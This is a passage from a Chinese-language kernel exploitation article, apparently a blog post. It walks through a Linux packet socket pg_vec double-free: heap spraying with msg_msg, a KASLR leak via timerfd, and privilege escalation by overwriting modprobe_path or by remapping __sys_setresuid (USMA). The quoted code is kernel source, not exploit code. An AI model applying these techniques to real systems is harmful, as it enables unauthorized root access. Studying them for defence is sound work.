black;">第三次堆喷，通过pg_vec的漏洞释放掉所有的第一次堆喷中的pg_vec对象，这些kmalloc-256的pg_vec不会归还给伙伴系统，而是进入到了对应slab的空闲链表，接着用msg_msg从空闲链表再次申请出刚释放掉的kmalloc-256的slab；</p><img class="rich_pages wxw-img" style="display: block;margin: 0px auto;max-width: 100%;zoom: 50%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=dd91b998&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4narPZiclQmV5Hc56k1zSiblqqI6JkicSibBqoFcuDD6akicPibJCvet04SSPxksmwYwb0TzvUdCMl3S4g%2F640%3Fwx_fmt%3Dpng"/></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">第四次堆喷，这时，触发部分pg_vec的double free漏洞，然后用msg_msgseg再次将刚释放的msg_msg从freelist里分配出来并篡改msg_msg-&gt;m_ts，这时读取所有第三步中申请的msg_msg，即可读取包含被篡改msg_msg-&gt;m_ts的msg_msg，从而造成OOB读，泄露出相邻PAGE的timerfd_ctx-&gt;tmr-&gt;function这个函数指针指向的timerfd_tmrproc内核函数地址，从而计算出当前内核基址的相对偏移。</p><img class="rich_pages wxw-img" style="display: block;margin: 0px auto;max-width: 100%;zoom: 50%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=e6c3bffa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4narPZiclQmV5Hc56k1zSiblVZmAiaPPaRBdsAjianAwZnosGWjImGpL22Btz3mqzotJKOX342RjmT5w%2F640%3Fwx_fmt%3Dpng"/></section></li></ol><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span>2.2.利用方式一：篡改modprobe_path<span style="display: none;"></span></h3><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;display: block;font-size: 0.9em;overflow: auto;border-left: 3px solid rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;">提权思路：</strong>通过msg_msg + fuse的方式提权，篡改modprobe_path指向的字符串，modprobe_path默认指向&#34;/sbin/modprobe&#34;，修改modprobe_path指向&#34;/tmp/w&#34;，然后再执行一个非法的二进制文件，这样便会触发&#34;/tmp/w&#34;这个文件以root权限执行，从而拿到root权限。</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;">提权原理：</strong>篡改modprobe_path提权的原理，想必大家也不陌生，这里还是简单介绍一下，当execve函数执行一个非法的二进制文件时，执行到search_binary_handler()函数时，会遍历formats链表，formats链表包含所有注册的二进制文件，挨个调用load_elf_binary()函数，判断当前执行文件格式是否是注册的二进制文件，如果不是注册的二进制文件，再调printable宏判断当前执行文件前4个字节是否是可打印的字符，如果当前执行文件既不是注册的二进制文件，前4个字节也不是可打印的字符，则调用request_module()函数。</p></blockquote><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy0vbWLYvLV2dGAK2snvWEkvTauHVjGD89DJeYO9qRN1sHiaareUat7knYLQnkZeGRbRYpiazveia2La/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">static int search_binary_handler(struct linux_binprm *bprm)<br/>{<br/> bool need_retry = IS_ENABLED(CONFIG_MODULES);<br/> struct linux_binfmt *fmt;<br/> int retval;<br/> retval = prepare_binprm(bprm);<br/> <span style="color: #c678dd;line-height: 26px;">if</span> (retval &lt; 0)<br/>  <span style="color: #e6c07b;line-height: 26px;">return</span> retval;<br/> retval = security_bprm_check(bprm);<br/> <span style="color: #c678dd;line-height: 26px;">if</span> (retval)<br/>  <span style="color: #e6c07b;line-height: 26px;">return</span> retval;<br/> retval = -ENOENT;<br/> retry:<br/> read_lock(&amp;binfmt_lock);<br/> list_for_each_entry(fmt, &amp;formats, lh) { // 遍历注册了二进制格式的formats链表<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (!try_module_get(fmt-&gt;module))<br/>   <span style="color: #e6c07b;line-height: 26px;">continue</span>;<br/>  read_unlock(&amp;binfmt_lock);<br/>  retval = fmt-&gt;load_binary(bprm);  // 检查二进制文件<br/>  read_lock(&amp;binfmt_lock);<br/>  put_binfmt(fmt);<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (bprm-&gt;point_of_no_return || (retval != -ENOEXEC)) {<br/>   read_unlock(&amp;binfmt_lock);<br/>   <span style="color: #e6c07b;line-height: 26px;">return</span> retval;<br/>  }<br/> }<br/> read_unlock(&amp;binfmt_lock);<br/> <span style="color: #c678dd;line-height: 26px;">if</span> (need_retry) {<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (printable(bprm-&gt;buf[0]) &amp;&amp; printable(bprm-&gt;buf[1]) &amp;&amp;<br/>      printable(bprm-&gt;buf[2]) &amp;&amp; printable(bprm-&gt;buf[3]))  // 检查是否是打印字符<br/>   <span style="color: #e6c07b;line-height: 26px;">return</span> retval;<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (request_module(<span style="color: #98c379;line-height: 26px;">&#34;binfmt-%04x&#34;</span>, *(ushort *)(bprm-&gt;buf + 2)) &lt; 0)<br/>   <span style="color: #e6c07b;line-height: 26px;">return</span> retval;<br/>  need_retry = <span style="color: #56b6c2;line-height: 26px;">false</span>;<br/>  goto retry;<br/> }<br/> <span style="color: #e6c07b;line-height: 26px;">return</span> retval;<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">request_module()函数是__request_module()的宏定义。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy0vbWLYvLV2dGAK2snvWEkvTauHVjGD89DJeYO9qRN1sHiaareUat7knYLQnkZeGRbRYpiazveia2La/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;">#define request_module(mod...) __request_module(true, mod)</span><br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">__request_module()函数是一个尝试加载内核模块的函数，主要调用call_modprobe()，定义于kernel/kmod.c。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy0vbWLYvLV2dGAK2snvWEkvTauHVjGD89DJeYO9qRN1sHiaareUat7knYLQnkZeGRbRYpiazveia2La/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">static int call_modprobe(char *module_name, int <span style="color: #e6c07b;line-height: 26px;">wait</span>)<br/>{<br/> struct subprocess_info *info;<br/> static char *envp[] = {<br/>  <span style="color: #98c379;line-height: 26px;">&#34;HOME=/&#34;</span>,<br/>  <span style="color: #98c379;line-height: 26px;">&#34;TERM=linux&#34;</span>,<br/>  <span style="color: #98c379;line-height: 26px;">&#34;PATH=/sbin:/usr/sbin:/bin:/usr/bin&#34;</span>,<br/>  NULL<br/> };<br/> char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);<br/> <span style="color: #c678dd;line-height: 26px;">if</span> (!argv)<br/>  goto out;<br/> module_name = kstrdup(module_name, GFP_KERNEL);<br/> <span style="color: #c678dd;line-height: 26px;">if</span> (!module_name)<br/>  goto free_argv;<br/> argv[0] = modprobe_path;  // 是我们需要篡改的全局变量<br/> argv[1] = <span style="color: #98c379;line-height: 26px;">&#34;-q&#34;</span>;<br/> argv[2] = <span style="color: #98c379;line-height: 26px;">&#34;--&#34;</span>;<br/> argv[3] = module_name; /* check free_modprobe_argv() */<br/> argv[4] = NULL;<br/> info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,<br/>      NULL, free_modprobe_argv, NULL);<br/> <span style="color: #c678dd;line-height: 26px;">if</span> (!info)<br/>  goto free_module_name;<br/> <span style="color: #e6c07b;line-height: 26px;">return</span> call_usermodehelper_exec(info, <span style="color: #e6c07b;line-height: 26px;">wait</span> | UMH_KILLABLE); <br/>free_module_name:<br/> kfree(module_name);<br/>free_argv:<br/> kfree(argv);<br/>out:<br/> <span style="color: #e6c07b;line-height: 26px;">return</span> -ENOMEM;<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">call_usermodehelper_exec()函数将modprobe_path作为可执行程序路径，以root权限执行，modprobe_path是一个全局变量，指向&#34;/sbin/modprobe&#34;。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy0vbWLYvLV2dGAK2snvWEkvTauHVjGD89DJeYO9qRN1sHiaareUat7knYLQnkZeGRbRYpiazveia2La/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">/kernel/kmod.c<br/>/*<br/> modprobe_path is <span style="color: #e6c07b;line-height: 26px;">set</span> via /proc/sys.<br/>*/<br/>char modprobe_path[KMOD_PATH_LEN] = CONFIG_MODPROBE_PATH;<br/>/init/Kconfig<br/>config MODPROBE_PATH<br/> string <span style="color: #98c379;line-height: 26px;">&#34;Path to modprobe binary&#34;</span><br/> default <span style="color: #98c379;line-height: 26px;">&#34;/sbin/modprobe&#34;</span><br/> <span style="color: #e6c07b;line-height: 26px;">help</span><br/>   When kernel code requests a module, it does so by calling<br/>   the <span style="color: #98c379;line-height: 26px;">&#34;modprobe&#34;</span> userspace utility. This option allows you to<br/>   <span style="color: #e6c07b;line-height: 26px;">set</span> the path <span style="color: #e6c07b;line-height: 26px;">where</span> that binary is found. This can be changed<br/>   at runtime via the sysctl file<br/>   /proc/sys/kernel/modprobe. Setting this to the empty string<br/>   removes the kernel<span style="color: #98c379;line-height: 26px;">&#39;s ability to request modules (but<br/>   userspace can still load modules explicitly).<br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;">任意写：</strong>在绕过KASLR后，就能计算出modprobe_path的地址，再通过修改msg_msg的成员变量next指向modprobe_path-8，再配合fuse用户文件系统向msg_msg-&gt;next指向的msg_msgseg数据部分写入我们自定义程序的字符串路径，即完成任意写。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">篡改前：modprobe_path指向&#34;/sbin/modprobe&#34;</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.9623233908948194" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="637" src="https://wechat2rss.xlab.app/img-proxy/?k=a0c27d57&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4narPZiclQmV5Hc56k1zSibl5tPYyDLCg7XGkvbIkzN5lAbXImJqY3gpFJYe9l7yicwq0xeFic7rkLkg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">篡改后：modprobe_path指向&#34;/tmp/w&#34;</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="1.114018691588785" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="535" src="https://wechat2rss.xlab.app/img-proxy/?k=9c10ce83&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4narPZiclQmV5Hc56k1zSiblSNlKq22eLDboPtQF9kVx8ljVp5DOzWuic9vP7agfXtOTOvv4RnFticmA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;">提权流程：</strong></p><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">堆风水，先耗尽kmalloc-4096的空闲块，然后布局8 PAGE的内存，也是通过ringbuf申请大量的8 PAGE大小的内存块；</p><img class="rich_pages wxw-img" data-ratio="4.041958041958042" style="display: block;margin: 0 auto;max-width: 100%;zoom: 50%;" data-type="png" data-w="286" src="https://wechat2rss.xlab.app/img-proxy/?k=af5978a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4narPZiclQmV5Hc56k1zSiblNLKOoibYypRj09KLSvCTKQ6oicsJ6zKFoAQicJ0gfE6jjSko56ogBDLdw%2F640%3Fwx_fmt%3Dpng"/></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">第一次堆喷，释放掉偶数位下标的8 PAGE的ringbuf，然后用大量的pg_vec去堆喷kmalloc-4096大小的slab；</p><img class="rich_pages wxw-img" data-ratio="1.8174846625766872" style="display: block;margin: 0 auto;max-width: 100%;zoom: 50%;" data-type="png" data-w="652" src="https://wechat2rss.xlab.app/img-proxy/?k=b620f2ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4narPZiclQmV5Hc56k1zSiblcJJ0nbNSrSX2qLZsSoibN0ETnp8j3cZqkdmwjGllQYJpdArbDo4OVNg%2F640%3Fwx_fmt%3Dpng"/></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">第二次堆喷，触发first free释放掉2个kmalloc-4096的pg_vec，然后先创建一个线程A，用2个大于PAGE_SIZE小于2 PAGE_SIZE的msg_msgA去堆喷占位刚释放的两个kmalloc-4096空闲块，此时load_msg()在kmalloc完成后，会因为在copy_from_user的时候，触发fuse文件系统的读函数，通过读pipe数据而使线程A阻塞。</p><img class="rich_pages wxw-img" style="display: block;margin: 0 auto;max-width: 100%;zoom: 50%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=7a83457d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4narPZiclQmV5Hc56k1zSiblqtliclicOWjibiahchjicwXrxNRptSl3NibZt2cbOsKQXrrGFS1sb5GjicLdQ%2F640%3Fwx_fmt%3Dpng"/></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">第三次堆喷，然后再创建第二线程B，继续释放刚才被first free的2个kmalloc-4096的pg_vec内存，触发double free，再用1个大于PAGE_SIZE小于2 PAGE_SIZE的msg_msgB去堆喷这两块刚被回收的2个kmalloc-4096内存块，用msg_msgsegB去篡改第二次堆喷中msg_msgA-&gt;next指针为modprobe-8，并通过pipe发送信号给第三步中阻塞的线程A，fuse read接受到信号后完成对msg_msgsegA内容的篡改，并返回，这样线程A完成对modprobe_path指向字符串内容的篡改为我们自定义的&#34;/tmp/w&#34;。</p><figure style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=f80e5308&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4narPZiclQmV5Hc56k1zSibll1n5ianPzZgXSngzHHB7IKWo67eeU9Q0nQEKISDGuLZjvaQPpiclPYVQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"><br/></figcaption></figure></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">最后执行一个非法的二进制文件，便能触发我们自定义&#34;/tmp/w&#34;的执行，从而完成提权。</p><img class="rich_pages wxw-img" style="display: block;margin: 0 auto;max-width: 100%;zoom: 100%;" data-type="gif" src="https://wechat2rss.xlab.app/img-proxy/?k=b48b14eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F3pMKYkVJQD4narPZiclQmV5Hc56k1zSiblfkwcu7MXzfHRLH17rs3uOmtb99m6mTgGaibPeRibm3LfgUK2Ho7Yvt0Q%2F640%3Fwx_fmt%3Dgif"/></section></li></ol><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span>2.3.利用方式二：USMA(用户态映射攻击)<span style="display: none;"></span></h3><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;display: block;font-size: 0.9em;overflow: auto;border-left: 3px solid rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;">USMA简介</strong>：USMA（User-Space-Mmaping-Attack）又称作是<strong style="font-weight: bold;color: black;">用户态映射攻击</strong>，是360漏洞研究院的安全研究员提出的利用手法。</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;">提权思路</strong>：利用packet漏洞模块的packet_mmap函数能将漏洞对象pg_vec映射到用户空间的这个特性，再利用double free的漏洞原理，将漏洞对象pg_vec篡改为内核代码 <strong style="font-weight: bold;color: black;">__sys_setresuid</strong>内核函数的地址，这样就能把**__sys_setresuid**内核函数的代码映射到用户空间，通过硬编码改变代码逻辑，即可让普通用户进程调用setresuid函数绕过权限检查，修改cred提升权限。</p></blockquote><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy0vbWLYvLV2dGAK2snvWEkvTauHVjGD89DJeYO9qRN1sHiaareUat7knYLQnkZeGRbRYpiazveia2La/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">/kernel/sys.c<br/>/*<br/> * This <span style="color: #c678dd;line-height: 26px;">function</span> implements a generic ability to update ruid, euid,<br/> * and suid.  This allows you to implement the 4.4 compatible seteuid().<br/> */<br/>long __sys_setresuid(uid_t ruid, uid_t euid, uid_t suid)<br/>{<br/> struct user_namespace *ns = current_user_ns();<br/> const struct cred *old;<br/> struct cred *new;<br/> int retval;<br/> kuid_t kruid, keuid, ksuid;<br/> kruid = make_kuid(ns, ruid);<br/> keuid = make_kuid(ns, euid);<br/> ksuid = make_kuid(ns, suid);<br/> <span style="color: #c678dd;line-height: 26px;">if</span> ((ruid != (uid_t) -1) &amp;&amp; !uid_valid(kruid))<br/>  <span style="color: #e6c07b;line-height: 26px;">return</span> -EINVAL;<br/> <span style="color: #c678dd;line-height: 26px;">if</span> ((euid != (uid_t) -1) &amp;&amp; !uid_valid(keuid))<br/>  <span style="color: #e6c07b;line-height: 26px;">return</span> -EINVAL;<br/> <span style="color: #c678dd;line-height: 26px;">if</span> ((suid != (uid_t) -1) &amp;&amp; !uid_valid(ksuid))<br/>  <span style="color: #e6c07b;line-height: 26px;">return</span> -EINVAL;<br/> new = prepare_creds();<br/> <span style="color: #c678dd;line-height: 26px;">if</span> (!new)<br/>  <span style="color: #e6c07b;line-height: 26px;">return</span> -ENOMEM;<br/> old = current_cred();<br/> retval = -EPERM;<br/> //通过硬编码修改，让普通用户调用setresuid()函数不会进入<span style="color: #c678dd;line-height: 26px;">if</span>判断，从而修改cred提权<br/> <span style="color: #c678dd;line-height: 26px;">if</span> (!ns_capable_setid(old-&gt;user_ns, CAP_SETUID)) {<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (ruid != (uid_t) -1        &amp;&amp; !uid_eq(kruid, old-&gt;uid) &amp;&amp;<br/>      !uid_eq(kruid, old-&gt;euid) &amp;&amp; !uid_eq(kruid, old-&gt;suid))<br/>   goto error;<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (euid != (uid_t) -1        &amp;&amp; !uid_eq(keuid, old-&gt;uid) &amp;&amp;<br/>      !uid_eq(keuid, old-&gt;euid) &amp;&amp; !uid_eq(keuid, old-&gt;suid))<br/>   goto error;<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (suid != (uid_t) -1        &amp;&amp; !uid_eq(ksuid, old-&gt;uid) &amp;&amp;<br/>      !uid_eq(ksuid, old-&gt;euid) &amp;&amp; !uid_eq(ksuid, old-&gt;suid))<br/>   goto error;<br/> }<br/> <span style="color: #c678dd;line-height: 26px;">if</span> (ruid != (uid_t) -1) {<br/>  new-&gt;uid = kruid;<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (!uid_eq(kruid, old-&gt;uid)) {<br/>   retval = set_user(new);<br/>   <span style="color: #c678dd;line-height: 26px;">if</span> (retval &lt; 0)<br/>    goto error;<br/>  }<br/> }<br/> <span style="color: #c678dd;line-height: 26px;">if</span> (euid != (uid_t) -1)<br/>  new-&gt;euid = keuid;<br/> <span style="color: #c678dd;line-height: 26px;">if</span> (suid != (uid_t) -1)<br/>  new-&gt;suid = ksuid;<br/> new-&gt;fsuid = new-&gt;euid;<br/> retval = security_task_fix_setuid(new, old, LSM_SETID_RES);<br/> <span style="color: #c678dd;line-height: 26px;">if</span> (retval &lt; 0)<br/>  goto error;<br/> <span style="color: #e6c07b;line-height: 26px;">return</span> commit_creds(new);<br/>error:<br/> abort_creds(new);<br/> <span style="color: #e6c07b;line-height: 26px;">return</span> retval;<br/>}<br/>SYSCALL_DEFINE3(setresuid, uid_t, ruid, uid_t, euid, uid_t, suid)<br/>{<br/> <span style="color: #e6c07b;line-height: 26px;">return</span> __sys_setresuid(ruid, euid, suid);<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;">映射原理</strong>：packet_mmap函数通过对当前套接字对应的pg_vec数组里buffer映射到用户层，可以让用户态修改并同步内核态的内存。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy0vbWLYvLV2dGAK2snvWEkvTauHVjGD89DJeYO9qRN1sHiaareUat7knYLQnkZeGRbRYpiazveia2La/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">static int packet_mmap(struct file *file, struct socket *sock,<br/>  struct vm_area_struct *vma)<br/>{<br/> struct sock *sk = sock-&gt;sk;<br/> struct packet_sock *po = pkt_sk(sk);<br/> unsigned long size, expected_size;<br/> struct packet_ring_buffer *rb;<br/> unsigned long start;<br/> int err = -EINVAL;<br/> int i;<br/> <span style="color: #c678dd;line-height: 26px;">if</span> (vma-&gt;vm_pgoff)<br/>  <span style="color: #e6c07b;line-height: 26px;">return</span> -EINVAL;<br/> mutex_lock(&amp;po-&gt;pg_vec_lock);<br/> expected_size = 0;<br/> <span style="color: #c678dd;line-height: 26px;">for</span> (rb = &amp;po-&gt;rx_ring; rb &lt;= &amp;po-&gt;tx_ring; rb++) {<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (rb-&gt;pg_vec) {<br/> // 计算当前套接字对应ringbuf所有大小的和，间接等于ring buf的block_nr * block_size。<br/>   expected_size += rb-&gt;pg_vec_len  // 等于block_nr<br/>      * rb-&gt;pg_vec_pages  // 等于block_size/PAGE_SIZE<br/>      * PAGE_SIZE;<br/>  }<br/> }<br/> <span style="color: #c678dd;line-height: 26px;">if</span> (expected_size == 0)<br/>  goto out;<br/> <br/> size = vma-&gt;vm_end - vma-&gt;vm_start;  // 用户层映射内存大小<br/> <span style="color: #c678dd;line-height: 26px;">if</span> (size != expected_size)<br/>  goto out;<br/> start = vma-&gt;vm_start;    // 用户层映射内存起始地址<br/> <span style="color: #c678dd;line-height: 26px;">for</span> (rb = &amp;po-&gt;rx_ring; rb &lt;= &amp;po-&gt;tx_ring; rb++) { //目前就一个ring buf<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (rb-&gt;pg_vec == NULL)<br/>   <span style="color: #e6c07b;line-height: 26px;">continue</span>;<br/>  <span style="color: #c678dd;line-height: 26px;">for</span> (i = 0; i &lt; rb-&gt;pg_vec_len; i++) { // 循环block_nr次<br/>   struct page *page;<br/>   void *kaddr = rb-&gt;pg_vec[i].buffer; // kaddr地址基本都是页对齐的<br/>   int pg_num;<br/>   // 循环block_size/PAGE_SIZE次<br/>   <span style="color: #c678dd;line-height: 26px;">for</span> (pg_num = 0; pg_num &lt; rb-&gt;pg_vec_pages; pg_num++) {<br/>    page = pgv_to_page(kaddr);<br/>    // 映射的主要函数，通过该函数将pg_vec数组里buffer映射到用户层<br/>    err = vm_insert_page(vma, start, page); <br/>    <span style="color: #c678dd;line-height: 26px;">if</span> (unlikely(err))<br/>     goto out;<br/>    start += PAGE_SIZE;<br/>    kaddr += PAGE_SIZE;<br/>   }<br/>  }<br/> }<br/> atomic_inc(&amp;po-&gt;mapped);<br/> vma-&gt;vm_ops = &amp;packet_mmap_ops;<br/> err = 0;<br/>out:<br/> mutex_unlock(&amp;po-&gt;pg_vec_lock);<br/> <span style="color: #e6c07b;line-height: 26px;">return</span> err;<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 